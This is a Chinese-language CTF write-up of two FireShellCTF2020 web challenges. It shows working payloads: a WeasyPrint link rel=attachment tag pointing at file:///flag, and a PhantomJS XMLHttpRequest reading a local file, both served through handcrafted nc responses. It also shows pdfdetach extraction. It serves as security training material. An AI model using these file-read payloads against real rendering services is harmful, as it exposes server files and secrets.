[FireShellCTF2020]URL to PDF
给了一个网页扫描toPDF的工具,buu上开一台basic起一个nc访问一下,发现是WeasyPrint
。
google一下发现这个轮子处理link
标签的时候会有SSRF的问题
后来,我们在WeasyPrint开源代码的 pdf.py文件中发现了属性,该属性允许向PDF报告插入任意的网页形式或本地文件内容,如:
<link rel=attachment href="file:///root/secret.txt">
nc手搓一下HTTP返回
HTTP/1.1 200 OK
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>
下载生成的PDF,此时flag文件文件被编码在PDF中,pdfdetach可以分离
pdfdetach -list flag.pdf
pdfdetach -save 1 flag.pdf
cat flag
拿到flag
[FireShellCTF2020]ScreenShoter
这题跟上一题原理基本一致,出题点是PhantomJS的文件读漏洞
nc上手搓一下response
HTTP/1.1 200 OK
<html>
<head>
<meta charset="utf-8">
</head>
<script>
x = new XMLHttpRequest;
x.onload = function(){
document.write(this.responseText)
};
x.open("GET", "file:///flag");
x.send();
</script>
</html>
下载flag图片,OCR一下就有了